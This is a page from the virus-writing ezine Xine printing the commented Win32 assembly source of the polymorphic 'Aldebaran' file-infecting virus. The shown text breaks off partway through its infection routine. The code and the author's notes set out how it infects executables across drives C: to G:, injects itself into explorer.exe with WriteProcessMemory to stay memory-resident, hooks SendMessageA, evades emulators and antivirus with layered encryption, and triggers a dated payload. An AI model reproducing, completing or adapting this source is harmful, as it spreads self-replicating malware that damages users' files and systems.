Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 203

eZine's profile picture
Published in 
Xine
 · 6 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 203 |
\-----------------------------/


;
; The Aldebaran virus - written by T00FiC - poly from Bozo
;
; tanks goes to Ska and Zombie
;
;
; This virus wasn't previewved for xine4, but as old dirty bastard I'm, I
; tryed to finish it a bit in hurry. I tested and retested it and it seems to
; work. It have a small lack of optimization
;
; Caracteristic: Win32 Multithread PerProcess/Memory Resident Polymorphic
; size-stealth virus (with graphical payload :] )
; size about +10 Ko... (I tought to add some mp3 to my virus to beat vecna
; viruses size :)
;
; Multithread: In order to hide activity to the user, the virus recreate
; the original task. And when infecting and when the delicate part of writing
; datas to the host come. It stop the other thread, so the user is not able
; to close the process until the infection was securely done. The virus also
; delay a few seconds before infecting file, to make himself hidden and don't
; eat all the machines ressources...
;
; Residency: This is aslo an important point of this virus. On win32 machines,
; the virus start, infect 5 file in current directory and 5 file on windows
; directory and then stop. But on Windows9x specific machine, the virus is
; able to use specific apis used for patching/debugging other process. So
; the virus look for explorer.exe loaded in memory. Map the file, detect api
; export list and a viable location to put a mini stub loader. So, when
; explorer run the SendMessageA api (it does it all the time EXCEPT under dos
; boxes), the stub allocate memory and create a thread. This thread is owned
; by Explorer.exe. The virus then read memory location and drop over the
; explorer memory the virus body. Then the created stub run and init the
; memory resident routine. It bascially scan recursively each directory
; on fixed disk from C to G (It tryed also to infect my network harddrive :)
;
; Polymorphism: Polymorphism was done by Bozo, it was the main idea and
; original idea of this virus: Create a small (he was small) virus to use
; the bozo poly engine. Now the Polymorphism is used as end user encryption.
; It's I think the strongest and much hard to detect encryption loop this
; virus have. The poly random is based on the original host compression rate
; (I will explain later)
;
; Size stealth: This virus don't use as some poeple call it the 29A
; technique (I find saying that's my technique is dork, so I could say ace
; archive infection is the IKX technique, that way of finding kernel is IKX
; technique blablabla). The virus look if entrypoint point to code (to avoid
; binray compressed) then he run over there. Look if there's enough
; place in the section, if the distance from the section and the entrypoint
; is big enough and then calculate where/how much/what it will have to
; compress. Compression use a basic huffman compression done in about 600
; byte. So it have to decompress at running, and this take a lot of time and
; code are saying saying ? Noooo, it just take 100 byte and 84 milisecond on
; my old ready-to-infect P133 computer to decompress. The virus have to
; allocate memory, so to this 100 is added 300 or 400 byte for seh handling,
; kernel locator, apis finding, priority process manager.

; Note: The virus is encrypted in 8 bit without saving the key but it will
; have to test each keys, to annoy emulator, the virus allocate huge memory
; to drop decompressed datas and run over there his decryption routine. So I
; wonder how they will take this virus... Okay, 8 bit suck, avers have just
; to test every 8 bit possibility, no that's wrong, they have to test ALL
; the algortihm because the key is sliding and changing each loop, (I put
; the needed datas to be decrypted on the end of decryption buffer) so they
; have to decrypt/reencrypt each time the data. making about 10000 loops on
; each keys, good luck guys....
;
; Second note: look how is stored original enrtypoint: 1st, it's encrypted
; without saving the key, secondly, it's compressed with virus in the original
; ready to be compressed buffer. Third, it's encrypted using the complex
; polymorphic engine of Bozo.I like to read that 3 sentences again and again...
;
; Payload: I wish you will appreciate it
;
; There's also some thing to say on this virus. It's a bit based on axelle and
; voodoo technologies for base. The main infection concept is based on
; old ariannes viruses family using old fashioned write and close apis...
;
; There's so much to say over this virus, stop blabla, and look code...
;

.386
.model flat,stdcall

extrn ExitProcess:Proc
extrn Sleep:Proc

.data

dw ?

.code

Host: xor ebp,ebp
jmp Init0 ; fake virus initialization

pseudohost:

push 10000 ; you should put it
call Sleep ; let virus time to infect

call ExitProcess ; boooooooooooom -(

start:
call getdelta
getdelta: pop ebp
sub ebp,offset getdelta ; now we have delta

push ecx

RDAE: xor edx,edx

RDAE1:
mov ecx,pseudofin-StartCrypt
lea esi,[ebp+StartCrypt] ; pseudo decryptor
push edx
RDAE2:

sub byte ptr [esi],dl
sub dl,99
xor byte ptr [esi],dl
xor dl,25

inc esi

loop RDAE2 ; loop my son, loop...

dec esi

cmp dword ptr [esi-3],'nara' ; check for
jne RDAE4 ; Aldebaran

cmp dword ptr [ebp+StartCrypt],'xkI0' ; check for
je RDAE5 ; 1st dword
RDAE4:
mov ecx,pseudofin-StartCrypt
RDAE3:
xor dl,25 ; reencrypt it
xor byte ptr [esi],dl ; if it was
add dl,99 ; wrong
add byte ptr [esi],dl

dec esi
loop RDAE3

pop edx
inc edx

jmp RDAE1
StartCrypt:

db '0Ikx'

Restore: dd 0
Return: dd offset pseudohost
backdata: dd 0

RDAE5:

Init:
pop edx ; we got it
pop ecx ; now restore host

lea esi,[ebp+pseudofin]
mov edi,dword ptr [ebp+Restore]

repz movsb ; blablabla
Init0:
mov dword ptr [ebp+LoadLibraryA],0

lea edx,[ebp+returnapis] ; init apis

mov ecx,255
mov edi,edx
xor eax,eax
repz stosb ; clear the api return
; zone, we want fresh
lea eax,[ebp+getapis] ; datas
call initapi

mov eax,dword ptr [ebp+Return]
mov dword ptr [ebp+ReturnTemp],eax ;

mov dword ptr [ebp+LoadLibraryA],0 ; force Load
; library again later...
mov eax,85000
call alloc ; for compression

mov dword ptr [ebp+databuffer],eax

mov eax,85000
call alloc ; double buffer, I
; like them :P
mov dword ptr [ebp+compressbuffer],eax

lea eax,dword ptr [ebp+File_Data]
push eax
call dword ptr [ebp+GetSystemTime] ; check for payload
; activation ...
cmp word ptr [ebp+File_Data+2],8
jne nopayload

cmp word ptr [ebp+File_Data+6],5 ; each 5 august
jne nopayload

call payload

nopayload:

push eax

push esp
push 0
push 0
push dword ptr [ebp+ReturnTemp]
push 0
push 0
call dword ptr [ebp+CreateThread] ; create the other
; original thread
mov dword ptr [ebp+ForeignThread],eax

pop eax

call Residency1 ; install memory
; 1st time

mov byte ptr [ebp+checkflag],0

push edx
push esp
push 0
push 0
lea edx,[ebp+Goresidency2]
push edx
push 0
push 0
call dword ptr [ebp+CreateThread] ; create forcing 2nd
; time
pop eax

cmp byte ptr [ebp+reserror],5 ; go to end
je skipinfect

mainbody:

mov byte ptr [ebp+treeflag],1
mov byte ptr [ebp+stopflag],1

mov byte ptr [ebp+maxinfect],6
mov byte ptr [ebp+countinfect],0
mov word ptr [ebp+waitscan],250 ; init infection
; procedure type
; a bit slow to don't
; perturb the process
Infectdirs:

;
; This routine is the unique residency on winNT
;

mov byte ptr [ebp+treeflag],1

lea eax,[ebp+originaldir]
push eax
push 512
call dword ptr [ebp+GetCurrentDirectoryA] ; kill the directory

call Killdir

lea eax,[ebp+originaldir] ; this is dangerous
push eax ; I wont like running
push 512 ; this routine
call dword ptr [ebp+GetWindowsDirectoryA] ; kill windows directory

call Killdir

fini:

skipinfect:

mov eax,dword ptr [ebp+databuffer]
call Delloc

mov eax,dword ptr [ebp+compressbuffer]
call Delloc

cmp byte ptr [ebp+checkflag],1

push 0

push 4000h ; mem decommit
push 0 ; size
lea eax,[ebp+start]
push eax

push dword ptr [ebp+ExitThread] ; the death row....
jmp dword ptr [ebp+VirtualFree] ; in fact,
; it's virtual free
Goresidency2:

call getdel

push 2000
call dword ptr [ebp+Sleep0] ; wait 2 sec

call Residency2 ; then install memory


mov byte ptr [ebp+checkflag],1

push 0
call dword ptr [ebp+ExitThread] ; boom biddy byebye

residencystart:

call getdel ; this is main thread code
; when we are TSR
lea edx,[ebp+returnapis]

mov ecx,255
mov edi,edx
xor eax,eax
repz stosb ; this is done

lea eax,[ebp+getapis]
call initapi ; we got it

mov byte ptr [ebp+maxinfect],1
mov byte ptr [ebp+countinfect],0
mov word ptr [ebp+waitscan],25 ; set maximum free

mov byte ptr [ebp+stopflag],0
mov byte ptr [ebp+treeflag],0

mov eax,85000 ; eh, realloc for vir.
call alloc

mov dword ptr [ebp+databuffer],eax

mov eax,85000
call alloc ; realloc

mov dword ptr [ebp+compressbuffer],eax

mov byte ptr [ebp+treeflag],0

mov dword ptr [ebp+originaldir],'\:C' ;infect all C:

killthatdir:

call Killdir ; hohoho

includeme:

inc byte ptr [ebp+originaldir]
mov byte ptr [ebp+originaldir+3],0

cmp byte ptr [ebp+originaldir],'G'
ja finishthread ; infect until
; G:
lea eax,dword ptr [ebp+originaldir]
push eax
call dword ptr [ebp+GetDriveTypeA] ; Get the
; drive type
cmp eax,3
jne includeme ; don't touch
; cdroms or such
jmp killthatdir

finishthread: jmp finishthread ; endless jump

startapis:

StubLoader:
call getdel2
getdel2: pop ebp
cld
sub ebp,offset getdel2

lea eax,[ebp+getapis1]
lea edx,[ebp+returnapi1] ; mini stub
; loader
call initapi ; init apis

call dword ptr [ebp+GetCurrentProcess0]

push eax

push 100h
push eax

push eax
call dword ptr [ebp+GetPriorityClass0]
mov dword ptr [ebp+originalpriority],eax

call dword ptr [ebp+SetPriorityClass0] ; set priority

mov eax,dword ptr [ebp+finloader+1]
push eax ; get memory
; from small
push 40h ; compressed
push 00100000h or 1000h or 2000h ; header...
add eax,0111b
and eax,-111b
push eax
push 0
call dword ptr [ebp+GlobalAlloc0] ; allocate
; memory
mov edi,eax

lea esi,[ebp+finloader] ; okay, do it
push edi
push ebp

UnDkCMP:

cmp byte ptr [esi],'h' ; check if okay
jne thenbad

push dword ptr [esi+1]

movzx ecx,word ptr [esi+5] ;
xor edx,edx ; donc annoy edx
mov eax,4 ; so eax = ecx * 4
mul ecx ; we need to keep
; ecx
lea ebp,[esi+7] ; setting correspond.
lea esi,[esi+eax+9] ; setting where data
; begin
detectall:

pop ecx
xor edx,edx ; edx = current byte value

starloop:

xor ebx,ebx
xor dh,dh ; start, nullify these

highloop:

push ecx
push ebp

highloop2:

mov ecx,7 ; number of time
; looping
wefoundit:

cmp dl,8
jb dontresetcounter ; end of ascii
;
inc esi ; get next
xor dl,dl

dontresetcounter:

sub cl,dl ; then we get

lodsb
dec esi ; here the actual

ror al,cl ; value of the bits
and al,1 ; and concatenate it
rol bx,1 ; with a bit buffer
xor ah,ah ; placed in a regist.
add bx,ax
inc edx
inc dh

xor ecx,ecx ; reset ecx

thengetnext:

cmp dh,byte ptr [ebp+1]
jb highloop2 ; don't check all the
; three
cmp dh,byte ptr [ebp+1] ; is this size equal?
jne w0comehere

cmp bx,word ptr [ebp+2] ; is this byte equal?
je wefoundit0

w0comehere:

add ebp,4 ; if not scan next
inc ecx

cmp word ptr [ebp],-1 ; if end of corresp.
jne thengetnext ; then it's not

returnme:

pop ebp ; reset ebp to
push ebp ; start of correspond.

jmp highloop2 ; complete ascii...

wefoundit0:

mov al,byte ptr [ebp] ; else we got it!
; and then change it
; to ascii
pop ebp ; restore data for
pop ecx ; next loop

stosb ; push byte
loop starloop ; decompression finished !

thenbad:

pop ebp

pop eax
pop ecx

sub ecx,pseudofin-start ; setting value for

pop edx ; returning

push eax
push ecx

push dword ptr [ebp+originalpriority]
push edx
call dword ptr [ebp+SetPriorityClass0] ; refix priorities

pop ecx
pop eax
jmp eax ; run virus now

;
; This is a multiDLL reactor, it comes from the version 2 of the reactor in
; arianne, hope you enjoy the code! This is version 3b coz it's specialy
; designed for DrGreenThumb 2.
;
; Version 3b: Thatsokaynow
; Version 3: Multiple DLL scanning
; PseudoImportZone(tm) created
; Minor changes, large instructions revised and redefined structure
; Version 2: Uses ZeroCRCs
; Only one loop used
; NT/95/98 compatible
; some bugs fixed, structure change, one loop, time gain
; Version 1: First prototype - Pretty small
;

initapi:

mov esi,eax ; point to the mini
push esi ; import

dothescanner:

inc esi
cmp byte ptr [esi],-1 ; check if we reached
jne dothescanner ; end of mini import

inc esi
sub edx,esi
mov dword ptr [ebp+Thisoffset],edx ; so this is for fixing
sub esi,4 ; a problem of using
mov dword ptr [ebp+Thisoffset2],esi ; too much register
pop esi ; for finding apis
; I should optimizate
dothatnow: ; ... a day...

cmp byte ptr [esi],0FFh ; we reached end ok...
jne letscontinue
ret

letscontinue:
mov ebx,esi

scannext:

inc esi
cmp byte ptr [esi-1],'.' ; look for . separating
jne scannext ; library names

push esi

push dword ptr [esi] ; avoid
push esi ; overwriting
mov dword ptr [esi],'lld' ; so set dll name
push ebx

cmp byte ptr [ebp+stubtest],1 ; this is for avoiding
je gotherenow ; 1st loop

cmp byte ptr [ebp+LoadLibraryA],0 ; so we get this api
jne dontinitit

gotherenow:

GetHardKernel:

pushad
mov dword ptr [ebp+stackrejust],esp ; we have to save stack
call SaveSEH ; coz seh crash it

lea eax,[ebp+kntestnext1] ; we fix seh to next
call SetSEH ; scan procedure

cmp word ptr cs:[07fe00000h],'ZM' ; check for win2K kernel but
jne kntestnext1 ; does it will works anyway ???

mov eax,07fe00000h
jmp wefound1 ; that's okay

stackrejust: dd 0

kntestnext1:

lea eax,[ebp+kntestnext2] ; set stack to next kernel
call SetSEH

cmp word ptr cs:[07ff00000h],'ZM' ; this should be Nt Kernel
jne kntestnext2

mov eax,07ff00000h
jmp wefound1

kntestnext2:

lea eax,[ebp+kntestnext4] ; set SEH to crash procedure
call SetSEH ; okay, it's lame coding...

cmp word ptr cs:[0BFF70000h],'ZM' ; check Win9x kernel
jne kntestnext4 ; this

mov eax,0bff70000h
jmp wefound1

kntestnext4:

call RestoreSEH

mov word ptr cs:[0BFF70000h],500 ; this program made an
; exception blablabla
wefound1:

call RestoreSEH ; now we restore the old SEH
mov esp,dword ptr [ebp+stackrejust] ; reajust stack
mov dword ptr [esp+20h-4],eax ; save eax
popad ; and reset stack
pop ebx ; we got in eax the kernel
jmp wefound ; location

dontinitit:

call dword ptr [ebp+LoadLibraryA] ; get apis adress

wefound:

cmp eax,-1 ; error, erm bye...
jne itsokay1

pop esi
ret

itsokay1:

mov edi,eax
pop esi
pop dword ptr [esi]

mov ebx,dword ptr [edi+3Ch]
add ebx,edi ; ebx point to the PE header
; In fact it's allways PE
; I skiped the MZ and PE
; signature check coz if it's
; not, Kernel can't be loaded :]
mov esi,dword ptr [ebx+120] ; esi point to the Export
lea esi,[esi+edi] ; zone

mov ecx,dword ptr [esi+24] ; ecx = number of export
mov ebx,dword ptr [esi+32] ; ebx point to the name offset
add ebx,edi ; table
push ebp
; mov ebp,offset startapis
db 0bdh
Thisoffset2:
dd 0h

Scanstring:


mov edx,dword ptr [ebx] ; edi point to the 1st
add edx,edi ; name

loophere:

pushad
mov eax,dword ptr [esi+24]
sub eax,ecx
shl eax,2 ; we have to search apis
lea edx,[ebx+eax] ; by ordinal/names
mov edx,[edx] ; coz NT have some disachronism
add edx,edi ; name in table is not the
; same that follow each other
push ecx
xor eax,eax
xor ecx,ecx

mov al,byte ptr [edx]

getnamecrc:

mov cl,byte ptr [edx] ; this is really small crc
test ecx,ecx ; untill now, I never had
jz test_crcs ; confusion between them
rol eax,3 ; a just small nice algorithm
xor eax,ecx
inc edx
jmp getnamecrc ; enjoy guys...

test_crcs:

pop ecx
inc edx

testnext:

add ebp,4
cmp byte ptr [ebp],-1 ; we reached end of list ?
je suither ; boom biddy byebye

cmp dword ptr [ebp],eax
jne testnext ; if crc in list = calculated
; no, then byebye
getrva:

mov ebx,dword ptr [esi+24] ; we get apis number
sub ebx,ecx ; sub number of loop we done
shl ebx,1 ; got in ebx the apis ordin.

add ebx,dword ptr [esi+36] ; table RVA
add ebx,edi ; Add Rva
xor eax,eax ; seems to be okie!
mov ax,word ptr [ebx] ;

shl eax,2 ; damn, I forgot the meaning
; of all that
add eax,dword ptr [esi+28] ; shame on me...
add eax,edi

mov eax,dword ptr [eax]
add eax,edi
dec ebx ; we saved it now

; add ebp,offset startlist-startapis
db 081h
db 0c5h
Thisoffset:
dd 0h

mov dword ptr [ebp],eax

suither:

popad
loop loophere ; loop until all apis are scanned
pop ebp
pop esi

jmp dothatnow ; return

SaveSEH:

push eax
mov eax,dword ptr fs:[0]
mov dword ptr [ebp+backup],eax ; save last SEH
pop eax
ret

RestoreSEH:

push eax
mov eax,dword ptr [ebp+backup]
mov dword ptr fs:[0],eax ; restore last SEH
pop eax
ret

SetSEH:

push eax

mov dword ptr [ebp+TemporarySEH+8],eax
lea eax,[ebp+BackNow]
mov dword ptr [ebp+TemporarySEH+4],eax
lea eax,[ebp+TemporarySEH]
mov dword ptr fs:[0],eax ; now we set the SEH

pop eax

ret

BackNow: ; here we get

call getpseudodelta
getpseudodelta:
pop ebp
sub ebp,offset getpseudodelta ; take again the delta,
; grrr, f- ms programmers
push dword ptr [ebp+TemporarySEH+8] ; and then back now!
ret

backup: dd 0

TemporarySEH: ; our SEH...

dd 0
dd 0
dd 0

originalpriority: dd 0

getapis1:

db 'KERNEL32.'
db -1
dd 0ab16d5ceh
dd 0cb8d7a80h
dd 046863856h
dd 04690b856h
db -1

stubtest: db 0

returnapi1:

GlobalAlloc0: dd 0
GetCurrentProcess0: dd 0
GetPriorityClass0: dd 0
SetPriorityClass0: dd 0

FinStub:

finloader:

;
; File Action API interface Note, I could remplace that by big flat
; true win32 file apis but I don't want to...
;

Open_file:

push 2 ; iReadWrite = OF_READWRITE

lea eax,[ebp+workingdir] ; point to the name datas
push eax

Call dword ptr [ebp+Lopen] ; open the file

mov dword ptr [ebp+FileHandle],eax
inc eax
ret

Close_file:

push dword ptr [ebp+FileHandle] ; close the file
call dword ptr [ebp+Lclose]
ret

Write_file:
push ecx
push edx

push dword ptr [ebp+FileHandle] ; Write in the file
call dword ptr [ebp+Lwrite]
ret

Read_file:
push ecx
push edx

push dword ptr [ebp+FileHandle] ; Read in the file
call dword ptr [ebp+Lread]
ret

Seek_file:

push 0
push edx
push dword ptr [ebp+FileHandle] ; Seek in the file
call dword ptr [ebp+Llseek]

ret

alloc:
MemAlloc: ; Reviewved for nties compatib.

push 40h
push 00100000h or 1000h or 2000h
add eax,0111b
and eax,-111b
push eax
push 0
call dword ptr [ebp+VirtualAlloc] ; just allocating...

cmp eax,0
jne Allocitsokay

inc eax
inc eax
add eax,-1

Allocitsokay:
ret

Delloc:

push 4000h ; mem decommit
push 0 ; size
push eax

call dword ptr [ebp+VirtualFree]
ret

InitCritical:

pushad

cmp byte ptr [ebp+stopflag],1
je skipinf

push dword ptr [ebp+ForeignThread]
call dword ptr [ebp+SuspendThread] ; okay stop task
; bastard....
skipinf:

popad

ret

LeaveCritical:

pushad

cmp byte ptr [ebp+stopflag],1 ; depend on resident or not
je skipinf


push dword ptr [ebp+ForeignThread]
call dword ptr [ebp+ResumeThread] ; and then recreate it


popad

ret

stopflag: db 0

Residency1:

pushad

mov byte ptr [ebp+reserror],0 ; byebye

mov eax,dword ptr [ebp+VirtualAlloc]
mov dword ptr [ebp+VirtualAllocT],eax ; preset these apis

mov eax,dword ptr [ebp+CreateThread]
mov dword ptr [ebp+CreateThreadT],eax ; for remote residency

cmp dword ptr [ebp+CreateToolhelp32Snapshot],0 ; set NT compatibilty
je fini001

push 0
push 0Fh
call dword ptr [ebp+CreateToolhelp32Snapshot] ;exist only under win9x

push eax

lea edx,dword ptr [ebp+datadummy] ; how much datas in

mov dword ptr [edx],1024 ; buffer

push edx
push eax
call dword ptr [ebp+Process32First] ; get 1st process in
; mem infos
testnext5:

lea edi,[ebp+datadummy+24h]

mov ecx,255

push ecx

;
; This could be applied to everything, and you could patch every programs
;

checkthat: cmp dword ptr [ecx+edi],'LPXE' ; check explorer.exe ?
je wefoundit5
loop checkthat

pop ecx
push ecx

checkthat2: cmp dword ptr [ecx+edi],'lpxe' ; explorer
je wefoundit5
loop checkthat2

pop ecx
backhere:

pop eax
push eax

lea edx,dword ptr [ebp+datadummy]

;mov dword ptr [edx],1024 ; ms programmers are clown...
push edx
push eax
call dword ptr [ebp+Process32Next] ; get next process in mem

cmp eax,0
jne testnext5 ; no explorer in memory ???
; hahahaha
fini0:

pop eax

fini001:

movzx eax,byte ptr [ebp+reserror] ; come back!
mov dword ptr [esp+20h-4],eax

popad
ret ; Exit code 0

wefoundit5:

pop eax

mov eax,dword ptr [ebp+datadummy+8]
push eax ; what we want
push 0
push 01f0fffh ; all right value, Tanx to peon
call dword ptr [ebp+OpenProcess]

mov dword ptr [ebp+processid],eax ; we got the process handle

push 0
push edi

call dword ptr [ebp+Lopen] ; going to open the explorer

mov dword ptr [ebp+FileHandle],eax ; and going to map it

push eax

push 0
push eax
call dword ptr [ebp+GetFileSize]

pop edx

push eax

push 0
push eax
push 0
push 02h
push 0
push edx

call dword ptr [ebp+CreateFileMappingA] ; this long procedure is boring

mov dword ptr [ebp+MapHandle],eax

push 0
push 0
push 4h
push eax
call dword ptr [ebp+MapViewOfFile]

mov dword ptr [ebp+MapHandle1],eax ; okay now it's ampped

mov esi,eax

mov edi,dword ptr [esi+03ch] ; get PE blablabla
add edi,esi

mov eax,dword ptr [edi+0F8h+40+8]
add eax,dword ptr [edi+0F8h+40+12] ; get look if there's dead rooms
; in PE memory
cmp eax,dword ptr [edi+0f8h+40+40+12] ; there should be , memory
jae skiploading ; is rounded by minimum 4K of
; mem on intel compus
add eax,dword ptr [edi+52]
mov dword ptr [ebp+Ourmemory],eax ; we got memomry

mov eax,dword ptr [edi+128]
call RVA2Offset ; now we scan the import

lea edx,[eax-20]

scannexta:

add edx,20
mov eax,dword ptr [edx+12]

cmp eax,0
je skiploading

call RVA2Offset ; we get adress name

cmp dword ptr [eax],'RESU' ; check user32.dll
je wegotitit

cmp dword ptr [eax],'resu'
jne scannexta

wegotitit:

mov eax,dword ptr [edx] ; and then we look
call RVA2Offset ; for api import list

mov ebx,eax
xor ecx,ecx
sub ecx,4 ; and make a loop to do

boucleme:

add ecx,4
mov eax,dword ptr [ebx+ecx]

cmp eax,0
je skiploading

call RVA2Offset

cmp dword ptr [eax+2],'dneS' ;
jne boucleme

cmp dword ptr [eax+2+4],'sseM'
jne boucleme

cmp dword ptr [eax+2+8],'Aega' ; looking For SendMessageA
jne boucleme

mov dword ptr [ebp+checktest],0 ; intenal flag

add ecx,dword ptr [edx+16] ; we got the rva of
; the api!!!
add ecx,dword ptr [edi+52]

mov dword ptr [ebp+PseudoData+12],ecx ; okay, then we save it

lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push 4
lea edx,dword ptr [ebp+Pseudoreturn]
push edx ; Buffer
push ecx ; process base
mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+ReadProcessMemory] ; check for residency

inc byte ptr [ebp+reserror]

cmp dword ptr [ebp+Pseudoreturn],80000000h
jb skiploading2 ; we are resident!

lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push finannoy-AnnoyingCode
lea edx,dword ptr [ebp+AnnoyingCode]
push edx ; Buffer
push dword ptr [ebp+Ourmemory] ; process base
mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+WriteProcessMemory] ; save our gotta resident code

lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push 4
lea edx,dword ptr [ebp+Ourmemory]
push edx ; Buffer
push dword ptr [ebp+PseudoData+12] ; process base

mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+WriteProcessMemory] ; WE ARE GOING TSR -)

;
; running the remote thread ,but how
;

skiploading:

call Close_file ; that's lame, I didn't unmaped
jmp fini0 ; the file, but who care ?

skiploading2:

call Residency2 ; we where loaded in explorer
jmp skiploading ; mem, so do it

AnnoyingCode:

fakejump:

db 68h
Pseudoreturn:

dd 0h ; push apis offset

retback:

nop

pushad

call getdel ; get delta pointer

mov byte ptr [ebp+retback],0C3h ; lock api access

push 40h
push 00100000h or 1000h or 2000h
push (((fin-start)+0111b) and 11111111111111111111111111111000b)
push 0
call dword ptr [ebp+VirtualAllocT] ; allocate memory

mov dword ptr [ebp+checktest],eax
mov dword ptr [ebp+checktest2],eax
mov byte ptr [eax],0C3h

push eax
push esp
push 0
push 0
lea eax,[ebp+Loadingresult]
push eax
push 0
push 0
call dword ptr [ebp+CreateThreadT] ; creating our task
pop eax

popad

ret

getdel:
call GetMeThere

GetMeThere:
pop ebp
sub ebp,offset GetMeThere
ret

Loadingresult: call getdel ; this task wait for memory transerf
; work like a benny's fiber but wait
mov eax,dword ptr [ebp+checktest2] ; for both
; part to start
testme: cmp dword ptr [ebp+checktest],'yakO' ; Okay
jne testme

add eax,residencystart-start
jmp eax ; here we go

checktest: dd 0 ; memory allocated ?
checktest2: dd 0 ; virus transfered ?
; -> Thread begin
CreateThreadT: dd 0 ; yeeeeeeeeepeee
VirtualAllocT: dd 0

finannoy:


RVA2Offset: ; this routine
; is supposed to
pushad ; transfer RVA to
; an offset in memory
lea edx,[edi+0F8h] ; map, usefull to play
sub edx,40 ; with loaded process
; with only disk
scannext99: ; image

add edx,40 ; it's a bit based on
mov ebx,dword ptr [edx+12] ; axelle virus
mov ecx,ebx
add ecx,dword ptr [edx+16]

cmp ebx,0
je fino

cmp eax,ebx
jb scannext99

cmp eax,ecx
ja scannext99

sub eax,ebx
add eax,dword ptr [edx+20]
add eax,esi

mov dword ptr [esp+20h-4],eax
popad
ret

fino:

mov dword ptr [esp+20h-4],0
popad
ret

Residency2: ; I'm sad like hell today
; I feel bad like I never felt
pushad ; bad....

cmp byte ptr [ebp+reserror],0
je finishcheckres

cmp byte ptr [ebp+reserror],5
je finishcheckres

call InitCritical ; we don't want
; to be perturbed
; during the operation
lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push 4
lea edx,dword ptr [ebp+Pseudoreturn]
push edx ; Buffer

mov ecx,dword ptr [ebp+Ourmemory]
add ecx,checktest-AnnoyingCode

push ecx ; process base

mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+ReadProcessMemory]

cmp dword ptr [ebp+Pseudoreturn],0
je finishcheckresb

cmp dword ptr [ebp+Pseudoreturn],'yakO'
je finishcheckresb

lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push pseudofin-start
lea edx,dword ptr [ebp+start]
push edx ; Buffer
push dword ptr [ebp+Pseudoreturn]
mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+WriteProcessMemory]

lea edx,dword ptr [ebp+PseudoData]
push edx ; NumbWrite
push 4
lea edx,dword ptr [ebp+moins1]
push edx ; Buffer

mov ecx,dword ptr [ebp+Ourmemory]
add ecx,checktest-AnnoyingCode

push ecx
mov eax,dword ptr [ebp+processid]
push eax ; processID
call dword ptr [ebp+WriteProcessMemory]

finishcheckresb:

call LeaveCritical

mov byte ptr [ebp+reserror],5 ; okay all done ;)

finishcheckres:

popad
ret

moins1: db 'Okay'

;
; That's funny dir killer, I should rewrite Voodoo with it, it's much powerfull
; and smaller
;

Killdir:

mov dword ptr [ebp+numbscan],0 ; mmm for speed
; restriction
lea eax,[ebp+originaldir]
call makescandir ; we put *.*

lea eax,[ebp+filedata]
push eax
lea eax,[ebp+originaldir]
push eax
call dword ptr [ebp+FindFirstFileA] ; look 1st File

cmp eax,0
je finishattack ; error (that shouldn't
; arrive) ? close...
push eax

findnextfileA:

cmp byte ptr [ebp+filedata+2Ch],'.' ; check if . or ..
je willbeback ; go away

inc byte ptr [ebp+numbscan] ; then go away

cmp byte ptr [ebp+numbscan],5 ; each 5 file scanned
jb donpanic ; then wait a bit
; make scan invisble
movzx eax,word ptr [ebp+waitscan] ; so wait waitscan
push eax ; value (depends on
call dword ptr [ebp+Sleep0] ; residency)

mov byte ptr [ebp+numbscan],0

donpanic:

mov eax,dword ptr [ebp+filedata] ; check if directory
and eax,16
cmp eax,16
jne attackfile ; yeah? Okay, fine
; attack this sub
call KillSubDir ; bastard!!!
jmp willbeback

attackfile:

call checkext ; check if this is exe file

cmp eax,'exe' ; is this an exe file
jne attackfile2 ; (I don't want to annoy
; DLL or CPL or OCX,I'm just
; a relax virus writer...)
call Open_file ; open file

;
; This is an old-school infection method, it don't need to map the file into
; memory, but jusk seek-write-read and could be used by readaptating the
; following routine to dos compatibility:
; Seek_file Location=edx
; Read_file Buffer=edx Length=ecx
; Write_file Buffer=edx Length=ecx
;
; It's basically designed for infecting PE :)

Infection: ; Pseudo :]

mov dl,byte ptr [ebp+infcount]
cmp byte ptr [ebp+maxinf],dl ; we can't infect
; too much in
mov edx,03ch ; per process mode
call Seek_file

mov ecx,04h ; read if it's PE
lea edx,[ebp+ReadyForHost]
call Read_file

mov edx,dword ptr [ebp+ReadyForHost] ; seek
push edx
mov dword ptr [ebp+HeaderOffset],edx
call Seek_file ;

mov ecx,(4096/2)+0f8h
lea edx,[ebp+ReadyForHost] ;
call Read_file ; so we read needed
pop edx ; infos from file

cmp word ptr [ebp+ReadyForHost],'EP' ; PE signature
jne CloseFile ; check

cmp word ptr [ebp+ReadyForHost+66],'0s' ; test if we are there
je CloseFile ; Checksum, should

mov word ptr [ebp+ReadyForHost+66],'0s' ; remove that

lea edx,[ebp+ReadyForHost] ;

mov dword ptr [edx+160],0 ; reset fixups
mov dword ptr [edx+164],0

movzx ecx,word ptr [edx+6]

lea eax,[edx+0F8h] ; this start of
; section entry
nullifyreloc: ; should have to
; modify that a day
mov dword ptr [eax+24],0
mov dword ptr [eax+28],0 ; and sections
mov dword ptr [eax+32],0 ; reseting fixups
add eax,40

loop nullifyreloc ; go away reloc, bad
; nightmare
mov ecx,dword ptr [ebp+ReadyForHost+40] ; saving entrypoint
mov esi,ecx
add esi,dword ptr [ebp+ReadyForHost+52] ; and get memory adres
mov dword ptr [ebp+Return],esi ; storing esi
mov dword ptr [ebp+Restore],esi ; storing esi again

lea esi,[ebp+ReadyForHost+0f8h] ; start of 1st
; section
mov eax,dword ptr [esi+12] ; look for eax
mov edx,eax
add edx,dword ptr [esi+16] ; and edx

cmp ecx,eax ; check if entrypoint
jb CloseFile ; <> code

cmp ecx,edx
ja CloseFile ;then we have compress.
; file
or dword ptr [esi+36],080000000h

cmp dword ptr [esi+16],75000 ; look if big enough
jb infectionmethod2 ; some PE are 4 megs
; ie: FF7 executable
; if so then compress
; partially
mov eax,dword ptr [esi+12]
add eax,dword ptr [esi+8]
sub eax,ecx ; now check if EP
; - codesection is
cmp eax,75000 ; smaller, so we
